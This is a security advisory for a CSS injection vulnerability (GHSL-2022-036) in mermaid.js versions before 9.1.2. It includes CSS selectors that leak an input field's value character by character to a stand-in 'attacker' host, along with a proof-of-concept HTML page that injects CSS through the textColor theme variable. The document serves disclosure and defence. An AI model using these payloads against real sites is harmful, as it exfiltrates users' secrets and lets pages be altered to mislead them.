Possible inject arbitrary `CSS` into the generated graph affecting the container HTML

Description

An attacker is able to inject arbitrary CSS into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted CSS selectors.

The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the value attribute one character at a time. Whenever there is an actual match, an http request will be made by the browser in order to "load" a background image that will let an attacker know what's the value of the character.

input[name=secret][value^=g] { background-image: url(http://attacker/?char=g); }
...
input[name=secret][value^=go] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); }
...
input[name=secret][value^=goose] { background-image: url(http://attacker/?char=e); }

Patches

Has the problem been patched? What versions should users upgrade to?

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

References

Are there any links users can visit to find out more?

For more information

If you have any questions or comments about this advisory:
* Open an issue in example link to repo
* Email us at example email address

Product

mermaid.js

Tested Version

v9.1.1

Details

Issue 1: Multiple CSS Injection (GHSL-2022-036)

By supplying a carefully crafted textColor theme variable, an attacker can inject arbitrary CSS rules into the document. In the following snippet we can see that getStyles does not sanitize any of the theme variables leaving the door open for CSS injection.

Snippet from src/styles.js:

const getStyles = (type, userStyles, options) => {
  return ` {
    font-family: ${options.fontFamily};
    font-size: ${options.fontSize};
    fill: ${options.textColor}
  }

For example, if we set textColor to "green;} #target { background-color: crimson }" the resulting CSS will contain a new selector #target that will apply a crimson background color to an arbitrary element.

<html>

<body>
    <div id="target">
        <h1>This element does not belong to the SVG but we can style it</h1>
    </div>
    <svg id="diagram">
    </svg>

    <script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
    <script>
        mermaid.initialize({ startOnLoad: false });

        const graph =
            `
            %%{ init: { "themeVariables" : { "textColor": "green;} #target { background-color: crimson }" } } }%%
            graph TD
                A[Goose]
            `

        const diagram = document.getElementById("diagram")
        const svg = mermaid.render('diagram-svg', graph)
        diagram.innerHTML = svg
    </script>
</body>

</html>

In the proof of concept above we used the textColor variable to inject CSS, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points:

  • https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/mermaidAPI.js#L393
  • https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/styles.js#L35

Impact

This issue may lead to Information Disclosure via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc.

Remediation

Ensure that user input is adequately escaped before embedding it in CSS blocks.

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2022-07-05 18:29:31 UTC
Updated
2023-07-21 19:28:57 UTC
GitHub reviewed
2022-07-05 18:29:31 UTC
NVD published
2022-06-28

EPSS Score

Score Percentile
0.24% 46.53%

CVSS Scores

Base score Version Severity Vector
4.1 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:L)
A normal user session is enough; they don’t have to be admin.
User interaction (UI:R)
A real person has to do something—click, install, enable—otherwise it doesn’t land.
Scope (S:C)
Breaking this can reach past the original component and bite other resources—bigger blast radius.
Confidentiality (C:L)
Some sensitive info could get out, but not a total data dump.
Integrity (I:N)
Data isn’t meaningfully altered or forged.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
npm mermaid >= 8.0.0, < 9.1.2 9.1.2

References

cvelogic Threat Intelligence